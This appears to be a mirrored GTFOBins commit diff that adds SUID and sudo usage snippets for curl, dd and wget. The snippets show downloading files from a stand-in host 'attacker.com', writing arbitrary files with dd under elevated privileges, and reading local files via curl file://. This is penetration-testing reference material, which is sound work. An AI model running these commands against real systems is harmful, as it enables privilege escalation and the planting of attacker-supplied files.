public-mirrors/GTFOBins.github.io
1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io synced 2024-12-24 13:59:17 +01:00
Code Issues Projects Releases Wiki Activity

Add suid-enabled and sudo-enabled to curl, dd, and wget

Browse Source
This commit is contained in:
Emilio Pinna 2018-07-22 14:30:03 +01:00
parent 00a06edb07
commit b016b7b9dd
3 changed files with 32 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

12
_gtfobins/curl.md
View File

@ -17,4 +17,16 @@ functions:
code: | code: |
LFILE=/tmp/file_to_read LFILE=/tmp/file_to_read
curl file://$LFILE curl file://$LFILE
suid-enabled:
- description: Fetch a remote file via HTTP GET request.
code: |
URL=http://attacker.com/file_to_get
LFILE=file_to_save
./curl $URL -o $LFILE
sudo-enabled:
- description: Fetch a remote file via HTTP GET request.
code: |
URL=http://attacker.com/file_to_get
LFILE=file_to_save
sudo -E curl $URL -o $LFILE
--- ---

8
_gtfobins/dd.md
View File

@ -8,4 +8,12 @@ functions:
- code: | - code: |
LFILE=file_to_read LFILE=file_to_read
dd if=LFILE dd if=LFILE
suid-enabled:
- code: |
LFILE=file_to_write
echo "data" | ./dd of=$LFILE
sudo-enabled:
- code: |
LFILE=file_to_write
echo "data" | sudo -E dd of=$LFILE
--- ---

12
_gtfobins/wget.md
View File

@ -12,4 +12,16 @@ functions:
export URL=http://attacker.com/file_to_get export URL=http://attacker.com/file_to_get
export LFILE=file_to_save export LFILE=file_to_save
wget $URL -O $LFILE wget $URL -O $LFILE
suid-enabled:
- description: Fetch a remote file via HTTP GET request.
code: |
export URL=http://attacker.com/file_to_get
export LFILE=file_to_save
./wget $URL -O $LFILE
sudo-enabled:
- description: Fetch a remote file via HTTP GET request.
code: |
export URL=http://attacker.com/file_to_get
export LFILE=file_to_save
sudo -E wget $URL -O $LFILE
--- ---